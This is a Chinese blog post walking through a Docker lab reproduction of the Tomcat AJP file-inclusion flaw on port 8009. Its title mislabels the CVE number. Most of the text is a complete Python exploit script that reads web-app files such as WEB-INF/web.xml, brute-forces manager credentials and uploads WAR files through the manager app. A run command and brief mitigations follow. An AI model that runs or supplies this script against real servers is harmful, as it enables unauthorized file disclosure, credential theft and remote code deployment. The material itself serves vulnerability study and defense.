10487:【web攻防】CVE-2020-10487 tomcat 文件包含漏洞 docker 复现学习

目录

前置知识:

具体原因 :

docker 复现:

POC

防御方法


前置知识:

ajp13是一个二进制的TCP传输协议,相比HTTP这种纯文本的协议来说,效率和性能更高,也做了很多优化,但是,浏览器并不能直接支持AJP13协议,只支持HTTP协议,通过Apache的proxy_ajp模块进行反向代理,暴露成http协议给客户端访问。

说人话呢, 就是在这个ajp服务的8009端口,存在文件包含的缺陷,可以构造恶意请求包进行恶意文件包含操作进而读取受影响Tomcat服务器上的Web目录文件,严重时可以配合文件上传实现getshell

具体原因 :

毕竟刚开始学Servlet,这个还是有点困难。等学到框架那边的知识开始复习。。。

漏洞成因还是离不开具体代码,这也算是一个从脚本小子进阶的过程。

【通告更新】Apache Tomcat服务器文件包含漏洞安全风险通告第三次更新 - 程序员大本营

docker 复现:

进入到该漏洞模块,打开终端,本次POC必须在python2环境允许,并且需要用pip -m 命令添加依赖包。

打开docker

docker-compose up -d

查看开放端口  发现8009 端口打开

netstat -a

 然后我调的是主机模式 这样在另外一台kail 虚拟机访问。

 

POC

#!/usr/bin/env python## Julien Legras - Synacktiv## THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE# DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundExceptionfrom pprint import pprint, pformatimport socketimport argparseimport loggingimport reimport osfrom StringIO import StringIOimport loggingfrom colorlog import ColoredFormatterfrom urllib import unquotedef setup_logger(): """Return a logger with a default ColoredFormatter.""" formatter = ColoredFormatter( "[%(asctime)s.%(msecs)03d] %(log_color)s%(levelname)-8s%(reset)s %(white)s%(message)s", datefmt="%Y-%m-%d %H:%M:%S", reset=True, log_colors={ 'DEBUG': 'bold_purple', 'INFO': 'bold_green', 'WARNING': 'bold_yellow', 'ERROR': 'bold_red', 'CRITICAL': 'bold_red', } ) logger = logging.getLogger('meow') handler = logging.StreamHandler() handler.setFormatter(formatter) logger.addHandler(handler) logger.setLevel(logging.DEBUG) return loggerlogger = setup_logger()# helpersdef prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'SC_REQ_CONNECTION': 'keep-alive', 'SC_REQ_CONTENT_LENGTH': '0', 'SC_REQ_HOST': target_host, 'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.5', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0' } fr.is_ssl = False fr.attributes = [] return frclass Tomcat(object): def __init__(self, target_host, target_port): self.target_host = target_host self.target_port = target_port self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.connect((target_host, target_port)) self.stream = self.socket.makefile("rb", bufsize=0) def test_password(self, user, password): res = False stop = False self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode( 'base64').replace('\n', '') while not stop: logger.debug("testing %s:%s" % (user, password)) responses = self.forward_request.send_and_receive(self.socket, self.stream) snd_hdrs_res = responses[0] if snd_hdrs_res.http_status_code == 404: raise NotFoundException("The req_uri %s does not exist!" % self.req_uri) elif snd_hdrs_res.http_status_code == 302: self.req_uri = snd_hdrs_res.response_headers.get('Location', '') logger.info("Redirecting to %s" % self.req_uri) self.forward_request.req_uri = self.req_uri elif snd_hdrs_res.http_status_code == 200: logger.info("Found valid credz: %s:%s" % (user, password)) res = True stop = True if 'Set-Cookie' in snd_hdrs_res.response_headers: logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', ''))) elif snd_hdrs_res.http_status_code == 403: logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % ( user, password)) stop = True elif snd_hdrs_res.http_status_code == 401: stop = True return res def start_bruteforce(self, users, passwords, req_uri, autostop): logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri) f_users = open(users, "r") f_passwords = open(passwords, "r") valid_credz = [] try: for user in f_users: f_passwords.seek(0, 0) for password in f_passwords: if autostop and len(valid_credz) > 0: self.socket.close() return valid_credz user = user.rstrip('\n') password = password.rstrip('\n') if self.test_password(user, password): valid_credz.append((user, password)) except NotFoundException as e: logger.fatal(e.message) finally: logger.debug("Closing socket...") self.socket.close() return valid_credz def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) if user is not None and password is not None: self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ( "%s:%s" % (user, password)).encode('base64').replace('\n', '') for h in headers: self.forward_request.request_headers[h] = headers[h] for a in attributes: self.forward_request.attributes.append(a) responses = self.forward_request.send_and_receive(self.socket, self.stream) print(responses) if len(responses) == 0: return None, None snd_hdrs_res = responses[0] data_res = responses[1:-1] if len(data_res) == 0: logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res))) return snd_hdrs_res, data_res def upload(self, filename, user, password, old_version, headers={}): deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers) with open(filename, "rb") as f_input: with open("/tmp/request", "w+b") as f: s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename( filename) s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n' f.write(s_form_header) f.write(f_input.read()) f.write(s_form_footer) data_len = os.path.getsize("/tmp/request") headers = { "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti", "SC_REQ_CONTENT_LENGTH": "%d" % data_len, "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host), "Origin": "http://%s" % (self.target_host), } if obj_cookie is not None: headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie') attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}] if old_version == False: attributes.append({"name": "query_string", "value": deploy_csrf_token}) old_apps = self.list_installed_applications(user, password, old_version) r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password, attributes=attributes) with open("/tmp/request", "rb") as f: br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER) br.send_and_receive(self.socket, self.stream) r = AjpResponse.receive(self.stream) if r.prefix_code == AjpResponse.END_RESPONSE: logger.error('Upload failed') while r.prefix_code != AjpResponse.END_RESPONSE: r = AjpResponse.receive(self.stream) logger.debug('Upload seems normal. Checking...') new_apps = self.list_installed_applications(user, password, old_version) if len(new_apps) == len(old_apps) + 1 and new_apps[:-1] == old_apps: logger.info('Upload success!') else: logger.error('Upload failed') def get_error_page(self): return self.perform_request("/blablablablabla") def get_version(self): hdrs, data = self.get_error_page() for d in data: s = re.findall('(Apache Tomcat/[0-9\.]+) ', d.data) if len(s) > 0: return s[0] def get_csrf_token(self, user, password, old_version, headers={}, query=[]): # first we request the manager page to get the CSRF token hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password) deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"', "".join([d.data for d in rdata])) if old_version == False: if len(deploy_csrf_token) == 0: logger.critical("Failed to get CSRF token. Check the credentials") return logger.debug('CSRF token = %s' % deploy_csrf_token[0]) obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly", hdrs.response_headers.get('Set-Cookie', '')) if obj is not None: return deploy_csrf_token[0], obj return deploy_csrf_token[0], None def list_installed_applications(self, user, password, old_version, headers={}): deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers) headers = { "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded", "SC_REQ_CONTENT_LENGTH": "0", "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host), "Origin": "http://%s" % (self.target_host), } if obj_cookie is not None: headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie') attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}] if old_version == False: attributes.append({ "name": "query_string", "value": "%s" % deploy_csrf_token}) hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password, attributes=attributes) found = [] for d in data: im = re.findall('/manager/html/expire\?path=([^&]*)&', d.data) for app in im: found.append(unquote(app)) return found def undeploy(self, path, user, password, old_version, headers={}): deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers) path_app = "path=%s" % path headers = { "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded", "SC_REQ_CONTENT_LENGTH": "0", "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host), "Origin": "http://%s" % (self.target_host), } if obj_cookie is not None: headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie') attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}] if old_version == False: attributes.append({ "name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)}) r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password, attributes=attributes) r = AjpResponse.receive(self.stream) if r.prefix_code == AjpResponse.END_RESPONSE: logger.error('Undeploy failed') # Check the successful message found = False regex = r'<small><strong>Message:<\/strong><\/small>&nbsp;<\/td>\s*<td class="row-left"><pre>(OK - .*' + path + ')\s*<\/pre><\/td>' while r.prefix_code != AjpResponse.END_RESPONSE: r = AjpResponse.receive(self.stream) if r.prefix_code == 3: f = re.findall(regex, r.data) if len(f) > 0: found = True if found: logger.info('Undeploy succeed') else: logger.error('Undeploy failed')if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('target', type=str, help="Hostname or IP to attack") parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") args = parser.parse_args() bf = Tomcat(args.target, args.port) attributes = [ {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']}, {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]}, {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']}, ] snd_hdrs_res, data_res = bf.perform_request(req_uri='/',method='GET', attributes=attributes) print("".join([d.data for d in data_res]))

输入命令

python2 poc.py -p 8009 -f "/WEB-INF/web.xml"  127.0.0.1

 

 复现完毕

防御方法

  • 临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />
  • 配置ajp配置中的secretRequired跟secret属性来限制认证
  • 更新
  • 参考链接

    【通告更新】Apache Tomcat服务器文件包含漏洞安全风险通告第三次更新 - 程序员大本营

    https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ
    https://www.freebuf.com/articles/system/236852.html
     

    相关推荐

    相关文章